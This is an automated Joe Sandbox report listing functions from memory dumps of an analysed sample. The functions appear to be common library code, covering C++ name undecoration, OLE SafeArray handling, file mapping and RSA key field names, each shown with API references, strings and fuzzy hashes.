Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 834187326-2211150622
Opcode ID: a81cf456aca8f33fd0a3eedfcf6f99a856501a7be43341af6d7247bc9ff75851
Instruction ID: 0014daa9caec7bf997c4adbbbfd88f607380b23db588e0750bfd91cc55326e7e
Opcode Fuzzy Hash: a81cf456aca8f33fd0a3eedfcf6f99a856501a7be43341af6d7247bc9ff75851
Instruction Fuzzy Hash: 5C219DB0214209AFCF11CF58C48896E7FF9AF4A79DB808195E899CB212CB71D903DF50

Function 689B5D36 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 689B5D40
DName::DName.LIBCMT ref: 689B5D4C

Part of subcall function 689B3B3B: DName::doPchar.LIBCMT ref: 689B3B6C

UnDecorator::getScopedName.LIBCMT ref: 689B5D8B
DName::operator+=.LIBCMT ref: 689B5D95
DName::operator+=.LIBCMT ref: 689B5DA4
DName::operator+=.LIBCMT ref: 689B5DB0
DName::operator+=.LIBCMT ref: 689B5DBD

Strings

void, xrefs: 689B5D9C

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID: void
API String ID: 1480779885-3531332078
Opcode ID: cfb0f8a5232aa5471924c192d37d7f28af5ccb414030ad40b56bdb70267690d0
Instruction ID: 206bda383f85c8122a93d47e05d30d6a5d39787a5d0d43f5c5aae5204a7306fe
Opcode Fuzzy Hash: cfb0f8a5232aa5471924c192d37d7f28af5ccb414030ad40b56bdb70267690d0
Instruction Fuzzy Hash: 3411C274500248AFDB04DF78C888BBF7FB49F91308F804198D055AB291DB70DA46CB41

Function 6896C850 Relevance: 13.8, APIs: 9, Instructions: 271COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6896C88F
VariantInit.OLEAUT32(?), ref: 6896C895
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6896C8A0
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6896C8D5
VariantClear.OLEAUT32(?), ref: 6896C8E1
std::tr1::_Xweak.LIBCPMT ref: 6896CB1C
SafeArrayDestroy.OLEAUT32(?), ref: 6896CB39
VariantClear.OLEAUT32(?), ref: 6896CB49
VariantClear.OLEAUT32(?), ref: 6896CB4F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Init$CreateDestroyElementVectorXweakstd::tr1::_
String ID:
API String ID: 1774866819-0
Opcode ID: 158a493cf66a667f98390f9d27b1c96f47c071b691314559093bb82d7802db02
Instruction ID: 36b41a3f6327e0d4a32bded4eb7c97691433f715ea91be1742112d769cc7e3d9
Opcode Fuzzy Hash: 158a493cf66a667f98390f9d27b1c96f47c071b691314559093bb82d7802db02
Instruction Fuzzy Hash: DAB158756006099FCB14DFA8C884DAEB7F9BF8D310F54856DE50AAB791CA34F941CB60

Function 68963F10 Relevance: 13.7, APIs: 9, Instructions: 201COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 68963F7B
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 68963F8D
VariantInit.OLEAUT32(?), ref: 68963FB7
SafeArrayGetElement.OLEAUT32(?,?,?), ref: 68963FD0
VariantClear.OLEAUT32(?), ref: 689640C9
VariantClear.OLEAUT32(?), ref: 68964105
SafeArrayDestroy.OLEAUT32(?), ref: 68964123
VariantClear.OLEAUT32(?), ref: 68964157
VariantClear.OLEAUT32(?), ref: 68964168

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Bound$DestroyElementInit
String ID:
API String ID: 758290628-0
Opcode ID: 4e75bef25cfe40f0d343577d01eb769acaa639df363791d2044d30ee43cbbfad
Instruction ID: 206fbc242b1f80b9407be7e30de3e12a17574dbee3cf3ab6d974f130689d7f9b
Opcode Fuzzy Hash: 4e75bef25cfe40f0d343577d01eb769acaa639df363791d2044d30ee43cbbfad
Instruction Fuzzy Hash: 17716A762083419FD710DFA8C8D495BBBE8BBA9314F904A2DF5A587250C731E989CF92

Function 6894FC30 Relevance: 13.7, APIs: 9, Instructions: 154fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNEL32(00000000,?,?,00000000,513F6A41), ref: 6894FC98
CloseHandle.KERNEL32(FFFFFFFF,?,?,00000000,513F6A41), ref: 6894FCAD
CloseHandle.KERNEL32(?,?,?,00000000,513F6A41), ref: 6894FCB7
SetLastError.KERNEL32(00000000,?,?,00000000,513F6A41), ref: 6894FCBA
CreateFileW.KERNEL32(?,-00000001,00000001,00000000,00000003,00000000,00000000,?,?,00000000,513F6A41), ref: 6894FD01
GetFileSizeEx.KERNEL32(00000000,?,?,?,00000000,513F6A41), ref: 6894FD14
GetLastError.KERNEL32(?,?,00000000,513F6A41), ref: 6894FD2A
CreateFileMappingW.KERNEL32(?,00000000,?,00000000,00000000,00000000,?,?,00000000,513F6A41), ref: 6894FD6B
MapViewOfFile.KERNEL32(00000000,?,00000000,00000000,00000000,?,?,00000000,513F6A41), ref: 6894FD98

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastView$MappingSizeUnmap
String ID:
API String ID: 1303881157-0
Opcode ID: 7a25d73b0786201e5a31cf4bd97723dcefaed3ecc0ad798ac75fd867adb6854e
Instruction ID: 7728c178311906c69a61e5c09bc3d2100447ded09c6c09a595afa5dd1279f334
Opcode Fuzzy Hash: 7a25d73b0786201e5a31cf4bd97723dcefaed3ecc0ad798ac75fd867adb6854e
Instruction Fuzzy Hash: DF5109B5644302AFDB10CF34CC84B5A77A8AF49329F548659EC25CF2C6D7B1D802CBA1

Function 689A42B0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 186COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 689A42DD

Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A90ED
Part of subcall function 689A90D8: __CxxThrowException@8.LIBCMT ref: 689A9102
Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A9113

_memmove.LIBCMT ref: 689A4363
_memmove.LIBCMT ref: 689A4381
_memmove.LIBCMT ref: 689A43E6
_memmove.LIBCMT ref: 689A4453
_memmove.LIBCMT ref: 689A4474

Strings

vector<T> too long, xrefs: 689A42D8

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: _memmove$std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: vector<T> too long
API String ID: 4034224661-3788999226
Opcode ID: 6918b3f8738bb2c00a3fae64e013665e6d8d7ab361886231294a2b6f980dc226
Instruction ID: 01bf9cb83cc3f0b7f7eb29a59cae8a28fc6307559aa2a60fc80f826395e942cf
Opcode Fuzzy Hash: 6918b3f8738bb2c00a3fae64e013665e6d8d7ab361886231294a2b6f980dc226
Instruction Fuzzy Hash: 5B51A1B67042028FC718CF78DD8596BB7E9EBD4214F544A2DF856C3344EA71E905CAA1

Function 68974B60 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 143COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 68974BC8
std::_Xinvalid_argument.LIBCPMT ref: 68974BE0
std::_Xinvalid_argument.LIBCPMT ref: 68974BFA
_memmove.LIBCMT ref: 68974C64
_memmove.LIBCMT ref: 68974C81

Strings

invalid string position, xrefs: 68974BC3
string too long, xrefs: 68974BDB, 68974BF5

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: invalid string position$string too long
API String ID: 2168136238-4289949731
Opcode ID: 656a7dd36ec460ea1245489ee6f586eeed66a49290bbca8da632523b71155a4a
Instruction ID: 8f8c465a5352e705804cc0dc8edb72ab0e705ba4906283ab1827c327363d52b3
Opcode Fuzzy Hash: 656a7dd36ec460ea1245489ee6f586eeed66a49290bbca8da632523b71155a4a
Instruction Fuzzy Hash: DF4196327052118BD734CE1CDC80E7EF3E9EBD5714BA50A2EE161C7692D761DC868B62

Function 6895FFEA Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 689623B3
SafeArrayDestroy.OLEAUT32(?), ref: 689623C3
SafeArrayDestroy.OLEAUT32(?), ref: 689623D6
SafeArrayDestroy.OLEAUT32(?), ref: 689623E9
SafeArrayDestroy.OLEAUT32(?), ref: 689623FC
SafeArrayDestroy.OLEAUT32(?), ref: 6896240F

Strings

RSDi, xrefs: 68960075

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RSDi
API String ID: 4225690600-559181253
Opcode ID: 5a269c5c84819cce5cb9f14562ba6e48c07a254351d20a99b8e432003d26c3f7
Instruction ID: 046811ac99d00074f1b42a60e956a45a248c78977a2b542d39fac670d9064304
Opcode Fuzzy Hash: 5a269c5c84819cce5cb9f14562ba6e48c07a254351d20a99b8e432003d26c3f7
Instruction Fuzzy Hash: C2414B74A016089FDB00DFA9C980E5EB7FEAF89314F60858AE519EB355DB31E881CF50

Function 68960815 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 689623B3
SafeArrayDestroy.OLEAUT32(?), ref: 689623C3
SafeArrayDestroy.OLEAUT32(?), ref: 689623D6
SafeArrayDestroy.OLEAUT32(?), ref: 689623E9
SafeArrayDestroy.OLEAUT32(?), ref: 689623FC
SafeArrayDestroy.OLEAUT32(?), ref: 6896240F

Strings

RSUa, xrefs: 68960864

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RSUa
API String ID: 4225690600-2086061799
Opcode ID: 59248ffaa30527e2a4661330ba46d9ea5d5b92b5c7f2a2342c148e3c69a9ae5c
Instruction ID: a62ed4ab3b74534660239e442dad0b5e7f568b91677019367f4c7f1ac4fae426
Opcode Fuzzy Hash: 59248ffaa30527e2a4661330ba46d9ea5d5b92b5c7f2a2342c148e3c69a9ae5c
Instruction Fuzzy Hash: FD312870A006189FEB00DBA9CC80B6EB7FDAF89314F60858AE518E7251C771E981CF50

Function 6896012D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 689623B3
SafeArrayDestroy.OLEAUT32(?), ref: 689623C3
SafeArrayDestroy.OLEAUT32(?), ref: 689623D6
SafeArrayDestroy.OLEAUT32(?), ref: 689623E9
SafeArrayDestroy.OLEAUT32(?), ref: 689623FC
SafeArrayDestroy.OLEAUT32(?), ref: 6896240F

Strings

RS:h, xrefs: 6896017F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RS:h
API String ID: 4225690600-3891202347
Opcode ID: 02b64e95c376b59648da14796405387add3a9fb2f25177fd787919d8d28b483c
Instruction ID: 3d6b9ec9ca24b6b6110b010d32268cd902f13ef04eac782a78b894e43e4ff551
Opcode Fuzzy Hash: 02b64e95c376b59648da14796405387add3a9fb2f25177fd787919d8d28b483c
Instruction Fuzzy Hash: E7312A70A006089FEB10DFA8CC80B6EB7BDAF99614F608596E418E7255C771E9818F50

Function 68960237 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 689623B3
SafeArrayDestroy.OLEAUT32(?), ref: 689623C3
SafeArrayDestroy.OLEAUT32(?), ref: 689623D6
SafeArrayDestroy.OLEAUT32(?), ref: 689623E9
SafeArrayDestroy.OLEAUT32(?), ref: 689623FC
SafeArrayDestroy.OLEAUT32(?), ref: 6896240F

Strings

RS3g, xrefs: 68960286

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RS3g
API String ID: 4225690600-2794631155
Opcode ID: 07364076eea1c3a52dd7b0c5b80a9f10c4265379c2405238c7f8ac1b24fc7f1c
Instruction ID: f7f72314595992c8aa58d51cfc6ff28d65fdacc26597c468e8e9b7394c53679f
Opcode Fuzzy Hash: 07364076eea1c3a52dd7b0c5b80a9f10c4265379c2405238c7f8ac1b24fc7f1c
Instruction Fuzzy Hash: 35313B70A006199FDB00DFA8CD80B6DB7FDAF89614F608696E428E7255CB71E981CF50

Function 689606F9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 689623B3
SafeArrayDestroy.OLEAUT32(?), ref: 689623C3
SafeArrayDestroy.OLEAUT32(?), ref: 689623D6
SafeArrayDestroy.OLEAUT32(?), ref: 689623E9
SafeArrayDestroy.OLEAUT32(?), ref: 689623FC
SafeArrayDestroy.OLEAUT32(?), ref: 6896240F

Strings

RSqb, xrefs: 68960748

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RSqb
API String ID: 4225690600-347567867
Opcode ID: 15bcee82584ddef1bc5da76bfcaab540597d7e1bc81ab99fad4b880ad3c92c0a
Instruction ID: 6fbdbe3b3ed7064c4fc4622ea27204db78b3aecedbc8cf0db2d850fbe0321a3d
Opcode Fuzzy Hash: 15bcee82584ddef1bc5da76bfcaab540597d7e1bc81ab99fad4b880ad3c92c0a
Instruction Fuzzy Hash: AA314974A006089FDB00DFA8CD80B6EB7FDAF99314F60858AE518EB241DB71E980CF50

Function 68960787 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 689623B3
SafeArrayDestroy.OLEAUT32(?), ref: 689623C3
SafeArrayDestroy.OLEAUT32(?), ref: 689623D6
SafeArrayDestroy.OLEAUT32(?), ref: 689623E9
SafeArrayDestroy.OLEAUT32(?), ref: 689623FC
SafeArrayDestroy.OLEAUT32(?), ref: 6896240F

Strings

RSa, xrefs: 689607D6

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RSa
API String ID: 4225690600-3169278968
Opcode ID: 7f6f487e9c29fcea4c91a247c6c7c3f82584b9b5cce55ecbf5a7a4fd31f0f1bc
Instruction ID: 7fcec94762b4d71e411943a7296e13ffab61db8ada9c6d4fb2f0d212992911f3
Opcode Fuzzy Hash: 7f6f487e9c29fcea4c91a247c6c7c3f82584b9b5cce55ecbf5a7a4fd31f0f1bc
Instruction Fuzzy Hash: 68313C74A006189FDB00DFA9CD80B6DB7FDAF99314F608596E518E7251C771E981CF50

Function 6899C760 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 95COMMON

Download Yara Rule

APIs

type_info::operator!=.LIBCMT ref: 6899C7EB

Strings

ModPrime2PrivateExponent, xrefs: 6899C82C
MultiplicativeInverseOfPrime2ModPrime1, xrefs: 6899C815
Prime1, xrefs: 6899C88A
ModPrime1PrivateExponent, xrefs: 6899C840
PrivateExponent, xrefs: 6899C85F
Prime2, xrefs: 6899C876

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
